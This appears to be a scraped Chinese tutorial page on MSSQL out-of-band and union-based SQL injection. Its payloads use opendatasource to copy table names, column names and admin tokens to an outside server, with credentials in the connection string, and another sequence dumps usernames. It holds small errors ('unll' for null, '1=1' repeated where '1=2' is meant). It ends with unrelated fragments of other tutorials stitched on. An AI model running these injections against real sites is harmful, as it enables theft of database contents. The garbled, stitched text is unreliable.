网络安全从入门到精通 (第五章-3) MSSQL反弹注入

本文内容:

  • MSSQL反弹注入使用场景
  • MSSQL反弹注入语句解析
  • MSSQL反弹注入具体流程
  • MSSQL显错注入具体流程


1,MSSQL反弹注入使用场景:

  1.前言:

    MSSQL注入攻击是最为复杂的数据库技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句早就了新颖独特的攻击思路。

  2.MSSQL反弹注入:

    明明是SQL注入点,却无法进行注入,注入工具猜解的速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是在注入攻击中常常遇到的问题。

    为了解以上这些疑难杂症,比较好的解决方法就是使用反弹注入技术,而反弹注入技术则需要依靠opendatasource函数的支持。

  3.反弹注入仅限于MSSQL数据库。

  4.MSSQL注入-反弹注入实际上就是把查询出来的数据发送到我们MSSQL服务器上,那么我们需要自己的MSSQL数据库和一个公网ip。

2,MSSQL反弹注入语句解析:

  1.联合查询为例:

    首先猜字段

    联合查询,要写union all

    判断输出点需要使用null去填充

    注释只有 --+(不要想着#)

  2.MSSQL语句:

    dbo.sysdatabases查询系统库

    sysobjects where xtype=‘u‘ 查询系统表

    syscolumns where id=‘指定sysobjects表中对应id值’

  3.函数

    opendatasource可以理解为使用此函数将当前数据库查询的结果发送到另一数据库服务器。

    语法:opendatasource (provider_name,init_string)。

      provider_name:注册用于访问数据源的OLEDB提供程序的UPROGID的名称,MSSQL的名称为SQLOLEDB。

      init_string:

        链接字符串

        链接地址,端口库、用户名、密码、数据库名。

        server=链接地址,端口;uid=用户名;pwd=密码;database=数据库名称

    举例:

      insert into opendatasource(‘sqloledb‘,‘server=; uid=; pwd=; database=‘).库名.dbo.表名 select * from admin --

3,MSSQL反弹注入具体流程:

  例题:SELECT* FROM NEWS WHERE id=‘1‘

    1.判断是否存在sql注入:

      ‘ and 1=1 -- qwe 和 ‘ and 1=2 -- qwe

    2.查询表名:

      ‘; insert into opendatasource(‘sqloledb‘,‘server=SQL5006.webweb.com,1433;uid=DB_14D6922_aa_admin;pwd=12345678;database=DB_14D6922_aa‘).DB_14D6922_aa.dbo.t select id,name from sysobjects where xtype=‘u‘ --

    3.查询字段名:

      ‘; insert into opendatasource(‘sqloledb‘,‘server=SQL5006.webweb.com,1433;uid=DB_14D6922_aa_admin;pwd=12345678;database=DB_14D6922_aa‘).DB_14D6922_aa.dbo.t select id,name from syscolumns where id=1977058079 --

    4.查询数据:

      ‘;insert into opendatasource(‘sqloledb‘,‘server=SQL5006.webweb.com,1433;uid=DB_14D6922_aa_admin;pwd=12345678;database=DB_14D6922_aa‘).DB_14D6922_aa.dbo.t select null,token from admin --

4,MSSQL显错注入的具体流程:

  例题:SELECT* FROM NEWS WHERE id=‘1‘

    1.判断是否存在sql注入:

      ‘ and 1=1 -- qwe 和 ‘ and 1=1 -- qwe

    2.判断页面字段数:

      ‘ order by 1…… -- qwe

    3.查看输出点:

      ‘ union all select null,null,null from admin -- qwe

    4.查询表名:

      ‘ union all select id,name,null from sysobjects where xtype=‘u‘ --qwe

    5.查询字段名:

      ‘ union all select null,name,null from syscolumns where id=1977058079 -- qwe

    6.查询数据:

      ‘ union all select unll,username,null from admin -- qwe

原文地址:https://www.cnblogs.com/xz25/p/12670392.html

时间: 2024-10-07 06:31:34

网络安全从入门到精通 (第五章-3) MSSQL反弹注入的相关文章

网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入

本文内容: DNSLOG的函数解析 UNC路径 DNSLOG的使用场景 DNSLOG注入的具体流程 1,DNSLOG的函数解析: Mysql函数:LOAD_FILE()读取文件的函数. 读取字符串并返回文档内容未字符串,要使用次函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限. 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接收的数据包大小函数,默认1MB). 如果该文件不存在或者无法读取,因为前面的条件之一不满足,函数

网络安全从入门到精通(第一章-2)快速自建web安全测试环境

本文内容 动态语言 常见服务器脚本 动态语言可以做什么? 常见服务器环境快捷搭建软件 快速的搭网站的环境 CMS 1,动态语言:是对服务器行为的编程,这被称为服务器端脚本或服务器脚本. 2,常见服务器脚本: Asp,Aspx(Windows) PHP(全平台) JSP(全平台) Python(全平台) 3,动态语言可以做什么? 1.动态地向Web页面编辑.改变或添加任何的内容. 2.对有HTML表单提交的用户请求或数据进行响应. 3.访问数据或数据库,并向浏览器返回结果. 4.为不同的用户定制页

GPU 编程入门到精通(五)之 GPU 程序优化进阶

博主因为工作其中的须要,開始学习 GPU 上面的编程,主要涉及到的是基于 GPU 的深度学习方面的知识.鉴于之前没有接触过 GPU 编程.因此在这里特地学习一下 GPU 上面的编程. 有志同道合的小伙伴,欢迎一起交流和学习.我的邮箱: [email protected] .使用的是自己的老古董笔记本上面的 Geforce 103m 显卡,尽管显卡相对于如今主流的系列已经很的弱,可是对于学习来说.还是能够用的.本系列博文也遵从由简单到复杂,记录自己学习的过程. 0. 文件夹 GPU 编程入门到精通

ArcGIS for Desktop入门教程_第五章_ArcCatalog使用 - ArcGIS知乎-新一代ArcGIS问答社区

原文:ArcGIS for Desktop入门教程_第五章_ArcCatalog使用 - ArcGIS知乎-新一代ArcGIS问答社区 1 ArcCatalog使用 1.1 GIS数据 地理信息系统,就是将真实的地物或地理现象抽象为计算机可表达的简单的集合类型(比如点.线.多边形),再按其几何类型和专题信息进行分类,通过计算机技术来管理和分析这些数据.从数据的组织形式上,我们通常将其分为矢量数据和栅格数据两大类. 如上图所示,分别用矢量和栅格的形式来表达一条高速公路.我们可以清晰地发现矢量数据与

D3.js的v5版本入门教程(第五章)—— 选择、插入、删除元素

D3.js的v5版本入门教程(第五章) 1.选择元素 现在我们已经知道,d3.js中选择元素的函数有select()和selectAll(),下面来详细讲解一下 假设我们的<body>中有三个<p>,如下 <p>dog</p> <p>cat</p> <p>pig</p> <p>rat</p> 选择第一个元素<p> var p = d3.select("body&qu

【PHP】最详细PHP从入门到精通(五)——PHP错误处理

 PHP从入门到精通 之PHP中的字符串 在创建脚本和 web 应用程序时,错误处理是一个重要的部分.如果您的代码缺少错误检测编码,那么程序看上去很不专业,也为安全风险敞开了大门. 本教程介绍了 PHP 中一些最为重要的错误检测方法. 我为大家讲解不同的错误处理方法: PHP中的错误处理 1.PHP的错误级别:见表格. 2.调整PHP错误报告级别: PHP中,调整错误报告级别的方式有两种: ①修改PHP.ini文件的配置项. a.会导致在当前服务器环境下所有PHP文件都受其影响. b.如果代码更

网络安全从入门到精通 (第二章-2) 后端基础SQL—MySQL数据库简介及SQL语法

本文内容: 什么是数据库 常见数据库 数据库的基本知识 基本SQL语法 1,什么是数据库? 数据库就是将大量数据保存起来,通过计算机加工,可以高效访问的数据聚合. 数据库就是长期存储在计算机内,有组织.可共享的集合. 2,常见的数据库: Oracle Database 甲骨文公司 SQL Server  微软公司 DB2   IBM公司 POSTGRESQL     开源 MySQL 开源 Access 微软公司 注意:虽然数据库各种各样,但是数据库语句之间具有相同之处. 3,数据库基本知识:

网络安全从入门到精通(第四章-2)GET&amp;POST&amp;HEAD注入

本文内容: GET注入 POST注入 Head注入 sqlmap工具注入 get&post为显错注入: head为报错注入: 1,GET注入: get注入属于显错注入. 1.判断注入点: 最古老的的方法是: http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常. http://www.xxx.com/new.php?id=1 and 1=2 页面显示错误. 最简单的判断方法是: http://www.xxx.com/new.php?id=1 and 1=1

Node入门教程(6)第五章:node 模块化(上)模块化演进

node 模块化 JS 诞生的时候,仅仅是为了实现网页表单的本地校验和简单的 dom 操作处理.所以并没有模块化的规范设计. 项目小的时候,我们可以通过命名空间.局部作用域.自执行函数等手段实现变量不冲突.但是到了大一点的项目,各种组件,各种第三方插件和各种 js 脚步融合的时候,就会发现这些技巧远远不够. 模块化的演变 为什么要有 JS 模块化呢?在浏览器中,顶层作用域的变量是全局的,所以项目稍微复杂点,如果引用的 js 非常多的时候,很容易造成命名冲突,然后造成很大意想不到的结果. 为了避免